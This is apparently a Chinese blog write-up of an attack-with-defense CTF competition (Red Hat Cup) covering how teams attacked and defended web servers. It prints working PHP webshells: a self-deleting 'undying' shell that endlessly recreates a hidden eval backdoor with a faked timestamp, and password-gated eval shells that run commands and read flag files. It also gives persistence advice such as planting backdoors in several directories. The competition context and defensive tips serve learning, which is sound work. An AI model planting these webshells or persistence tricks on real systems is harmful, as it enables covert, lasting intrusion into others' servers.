blubiu

My Love

上网不网恋,简直浪费电.


第二届“红帽杯”网络安全大赛填坑笔记


填坑,填坑,填坑。。。

文章还是写的那么烂…


前言:

时间过的很快啊,又是一年红帽,

相遇的时间很短暂,相约的时间却很长,

明年,你是否还会再来。


不bb了,步入正文,步入正文,

虽然比赛结果并不怎么好!!!

但是却学到了新技术,

还get到了很多好朋友。。


特别说明:

本次实验还原所用的环境为:Centos7+lnmp+web2


目录:


NO.1 进攻篇(web)

在调试机器之前发现有后台,

根据以往的经验,我先把自己后台密码(弱口令 admin/admin)改了,以免被别人getshell

PS:很多比赛后台都是弱口令

然后开始改其他队伍后台密码,改了十几二十多左右吧,后面发现并没有什么用,

images


会员头像上传,后台管理界面上传shell都试了,一直显示目录权限不足,然后放弃了,估计是主办方挖的坑吧!!!

PS:finecms5.2.0版本的貌似没有上传漏洞,5.0.9版本的有一个,可以参考一下这篇文章

https://blubiu.github.io/2017/10/2017强网杯线下AWD总结/

images


images


PS:这里的话在比赛的时候是不可以连外网的,最好准备一些编码解码工具,Google浏览器也可以进行部分编码的解码

images


然后比赛前5分钟就开始打了,被打的有点懵逼,

一直在做防御,就没怎么进攻了,

其实比赛之前也有去收集一些exp,poc什么的,

也有试去打,但是版本问题打不了,

上的waf抓到了传说中的神仙流量,但是只记录了GET,POST请求,请求路径都没有,然后也没看出个所以然来,

images


其实记录流量的脚本也有上,但是可能配置有点错误,没有运行起来,

比赛后跟其他队交流,也知道了一些漏洞,大多都是命令执行,

不过web1也有一个后台getshell,账号上是yunyunyun,密码admin(nginx日志上可以看到POST请求)

PS:这里主要还是以web2为主

目前代码还很弱,本菜无法分析一些漏洞,下面附上一个表哥漏洞分析文章

http://skysec.top/2018/05/27/2018RedHat-AD-Web/

进攻篇就先只能这样了,太菜了 (逃。。


NO.2 防御篇

PS:还是以web方向为主,pwn一脸懵逼!!!

感觉程序还是要走的(手动捂脸)

上来先改后台密码,改ssh密码等,

然后把源码down下来备份,方便审计,也防止down机(down机扣双倍分数),

再用D盾扫一圈源码,

PS:这次比赛刚down下源码就发现很多后门,都变跑马场了,dalao进攻速度也太快了

images


如有后门,上去服务器清除,

PS:后门保留,分析,可以用来进攻,因为大家环境都是一样的,然后再着重防守有后门的目录

这个CMS有注册界面可以进行账号注册,为避免对手利用建议关闭(第一届强网杯的时候就可以利用会员头像上传getshell)

images

images


关于上面老哥博客发现的一些漏洞

可以使用vi编辑命令去修改代码

或者注释掉有漏洞的代码

在不down机的情况下可以删除页面

补充:

可以直接删除有漏洞的那一段代码,

或者xftp上去修改


关于比赛中waf的使用

可以在公共配置文件里面包含,比如config.phpsystem.php

因为访问网页的时候首先经过的是公共配置文件,

有些漏洞不一定要通过主页,但是不管访问那个页面,都需要经过公共配置文件


NO.3 关于不死马

本次比赛被不死马打的防不胜防,

填坑继续…

本次模拟从不死马攻击到解决不死马

先扔一只马。。。

<?php

    set_time_limit(0);
    //设定一个程式所允许执行的秒数,如果到达限制的时间,程式将会传回错误,如果将秒数设为0,表示无时间上的限制。
    ignore_user_abort(1);
    //调用ignore_user_abort()函数声明即使客户机断开不终止脚本的执行。
    unlink(__FILE__);
    //删除自身
    //file_put_contents(__FILE__,'');

    while(1){

        file_put_contents('/home/wwwroot/default/templates/.xiao2.php','<?php @eval($_POST[xiao2]);?>');
        //在xxx目录写入一个名字为.xiao2.php的隐藏文件,内容为<?php @eval($_POST[xiao2]);?>
        system('chmod 777 .xiao2.php');
	//附加777权限
        touch("/home/wwwroot/default/templates/.xiao2.php", mktime(20,15,1,11,17,2017));
        usleep(100);
	//每隔一秒运行一次
    }

?>

Web2目录结构

images


随便一个能正常浏览的目录都可以,ssh登录后用xftp扔一只马(xiao.php)

然后用菜刀连接,

PS:扔马的好处是,维持自己的权限,在网站奔溃之后还可以进行操作,user不能操作的,马子可以补上这个缺口

然后通过菜刀上传不死马(no_die_shell.php)

images


可以看到不死马权限为www(所有者),,

PS:比赛中为www-data,,实际是一样的,,原谅本菜不能100%还原比赛环境

images


然后直接访问激活不死马

images


可以看到生成了一个.xiao2.php的隐藏一句话后门

images

images


尝试删除一:

直接rm -rf

删除失败

images


尝试删除二:

重启nginx

也失败,没权限

PS:比赛中为apache2,因为本菜还原所用的环境不同,比赛中如果是Apache的就把命令中nginx换成apache2就好了

images


删除三:

赛后跟其他师傅讨论,可以用www权限去关闭Apache(从根本上阻断shell的生成),然后就可以删除不死马了

那,试试呗!!!

嗯,没毛病,也是www权限(PS:菜刀上去权限一般是www),,

可以看到nginx虽然是root启动的,但是部分子进程为www权限

可以关闭

images


使用命令关闭(root权限运行程序是关不掉)

killall -HUP nginx

或者:

killall nginx

然后就拜拜了。。

images


PS:这里说明一下,杀死进程如果想再开启需要重启服务,线下普通用户是没有权限重启的,要重启只能让主办方重启了,不过要扣分

补充:

有表哥说使用 grep -i php 命令杀掉也可以删除不死马,

具体本菜也没试过,后面可以看看


除了杀死服务删除不死马之外,,还有一种方法

就是同样利用不死马这种机制无限生成内容不同的文件去覆盖他,(以毒攻毒)

也可以达到防御效果

杀死服务可能会导致down机,这样就没有这种烦恼了

PS:这种方式灭不死马最好不过了,上面杀死进程方法可能会导致服务器down机


NO.4 关于md5校验马

继续填坑。。

这次被种的马有点厉害了,,

不死,隐藏,md5加密,,

相比之前的普通一句话,这种更难被发现,更难查杀。。

放马

<?php error_reporting(0);
	// 关闭错误报告
if (md5($_POST['pw'])==='21232f297a57a5a743894a0e4a801fc3')
	// pw的明文密码为admin
	{eval($_POST[cmd]);
	} 
?>

这种马设置了两个参数

首先判断pw的值是否为admin

正确的话就传cmd参数进去

当两个参数都正确时才能生效

这种马不仅可以当一句话使用,还可以执行命令。。


溜一只名字为rood.php的马

images


首先演示命令执行,读取phpinfo,走你!

PS:这里需要POST提交

images


命令执行whoami

images


get flag

images


菜刀连接方式:

方法一:

在配置里面把密码传进去,,密码输入里面把cmd参数传进去

images


方法二:

直接在密码输入里面把两种参数一起传进去

images


两种方法都可以连进去

images


再溜一只马

<?php error_reporting(0); 
if(md5($_POST[a])==='21232f297a57a5a743894a0e4a801fc3') 
	{echo file_get_contents('/home/wwwroot/default/templates/flag.txt');
	@eval($_POST[b]);}
?>

这只马跟之前的有点不太一样,多了一句读取flag

有点小蛇皮,,

它是为了防止一些函数被禁用的情况下也可以读你flag

之前本菜在搭建环境的时候就很多危险函数被禁用了,whoami都执行不了

这种马就是为了防止这种情况

走你

扔一只名字为rood3.php的马上去

images


即使不用b参数执行命令也可以读flag,

只要a参数密码正确就行了

当然也可以使用菜刀进行连接


NO.5 一些技巧

  1. 利用对手payload反打

PS:这个方法是跟一个朋友赛后一起讨论才知道的,很蛇皮

一上来就被种了这么多马,,泪奔

images


在缺乏进攻手段时,除了防御之外,利用对手流量打回去最好不过了,,

这里假设对手的木马为rood2.php

images


那么可以利用他,抓他的流量来查看攻击payload

先附上抓流量的脚本

<?php
/**
*/

error_reporting(0);
ini_set('display_errors', 'Off');
ini_set('allow_url_fopen', 'Off');

/**
* log
*/
function log_log()
{
	/* waf conf */
	$conf = array(
		"log_info" => array(
				"GET"    => $_SERVER['REQUEST_URI'],
				"POST"   => $_POST,
				"COOKIE" => $_COOKIE,
		),
	);
	/* SESSION */
	if (isset($_SESSION)) {
		$conf['log_info']['SESSION'] = $_SESSION;
	}
	/* HTTP_HEADERS*/
	global $headers;
	foreach ($_SERVER as $key => $value) {
    	if ('HTTP_' == substr($key, 0, 5)) {
        	$headers[str_replace('_', '-', substr($key, 5))] = $value;
    	}
	}
	$conf['log_info']['HEADER'] = $headers;
	/* the same ip to write the same file */
	$ip = $_SERVER['REMOTE_ADDR'];
	$f = fopen("/home/wwwroot/default/templates/$ip.log", "a");//修改!!!log写入地址
	/* Requests time */
	$t = date("H:i:s", $_SERVER['REQUEST_TIME']);
	fwrite($f, "===========$t===========\n");
	foreach ($conf['log_info'] as $key => $value) {
		if (is_array($value)) {
			$value = json_encode($value);
		}
		fwrite($f, "$key\t===>\t$value\n");
	}
	fwrite($f, "\n");
	fclose($f);
}

log_log();
?>

然后把这个脚本改为他木马一样的名字,rood2.php,,把他的马删除,把流量脚本上传上去

假设攻击者跟往常一样去利用它,那么就会抓到他的流量

不管是菜刀连接流量,还是命令执行,还是普通GET访问,都会记录他的流量

还能看到他访问的一个URL

images


在比赛中,不只有木马可以利用,,如果有发现其他页面存在漏洞,一样可以用这个方式去抓payload

解码菜刀流量后,发现并没有密码什么的,

这里需要注意的是,如果解密后没有发现明显的密码什么的,

那么久需要多注意GET或者POST请求了,

密码可能是post和get的参数

images


听dalao说可能是因为,菜刀连接会发送两个或以上的包,流量没有抓完整,所以没有抓到重要部分

看来这个流量脚本还需要改进

PS:一般大佬都是使用脚本批量去跑flag,不会使用菜刀一个一个手动去看


  1. 纯HTML过check机制

每场比赛主办方都会用某种方式去判断选手的机器是否存活

比如:页面是否完整,响应是否为200,

如果不是就会判定为down机,每轮扣双倍分数

比赛开始我先用nmap扫了一圈赛场上的所有机器

命令为:

nmap -v -n -T5 -A -O -oX F:\\PentestBox\\bishai.xml 172.16.5.0/24

images


可以做进攻准备吧,探测一下信息

上图可以看到下面两个,分别是5.253和5.254的ip

猜测可能是主办方做chack的机器,

根据这个可以在web日志上查看访问记录

apache,nginx等日志,或者自己有抓到流量也行

然后就可以根据他chack了那些页面去调整了

下面是那位老哥博客截图

images


博客地址:

http://skysec.top/2018/05/27/2018RedHat-AD-Web/

如果在没有流量的情况下,,

可以采用模糊测试法

先删除一部分看看掉不掉分

然后再删除一部分看看

三四轮下来可能也能判断个大概了

今年这个比赛chack就很简单了

像去年强网杯就很蛇皮了,删除一个注册页面直接判断down机,,

这种情况只能去修复代码了


扩展一:关于所有者权限(WWW)

一般为文件的创建者,谁创建了该文件,就成为该文件的所有者


扩展二:线下赛常见的上传getshell方式

除了一下写文件漏洞外

线下一般有两种上传点,一个是头像上传,另外一个是编辑器上传

随便选一个文章修改

images


然后先查看编辑器版本(PS:这里的话这个版本的编辑器目前没有爆出上传漏洞,除非有0day,不过1.3.6版本的有上传截断漏洞)

images


如果有上传漏洞,那么一般在图片上传处抓包绕过上传等

images


扩展三:screen命令

在比赛中可能会使用到多个脚本,

比如什么文件监控脚本,抓流量脚本什么的

命令行界面没有图形化界面开多个终端那么方便

这个时候可以使用screen命令进行操作

可以参考这篇文章

http://man.linuxde.net/screen

直接输入screen命令,他会进入到一个新的窗口

images


然后就可以运行脚本了,比如python 123.py

如果想运行第二个脚本,可以按Ctrl +a +d 退回终端,不会影响123.py脚本的运行,

然后再起一个screen就可以了

PS:Linux系统默认是没有安装screen的,需要自己手动去安装,线下没网情况可以自带安装包过去


扩展四:菜刀流量加密方式

PHP:base64

asp:hex

jsp:无加密


总结

前期分好工,后续不必太僵硬,攻守可以互换

脚本工具分类准备好

权限维持很重要,能使用不死马,md5校验马就不要使用普通一句话(PS:密码不要太简单,容易被破解)

可以多创建两三个ssh账号,方便队友进行操作(PS:两个人共用一个账号容易掉)

拿到对方权限后,多在不同目录下放后门木马

删除对手木马的同时尽量留一份,不管是后期分析,反打也好

进攻,防御,信息收集都很重要,比如:端口,开放那些服务,服务器版本等等

防御的时候能关的则关,会员注册,端口等等(PS:去年世安有通过端口进攻的)

https://blubiu.github.io/2018/05/Web安全--端口详解/

密码尽量都改,ssh,后台密码等

准备好编码解码工具,线下常见的编码有:Unicode,URL,base64等(PS:Google浏览器控制台可以解部分编码)

流量日志很重要,多看,,本次比赛web1为nginx,web2为Apache

比赛过程更有意义


结束语

好像不知道要说点什么了,

也许,通关之后就要和NPC说拜拜了,

这里还得感谢一下各位dalao的耐心解答,

下次见。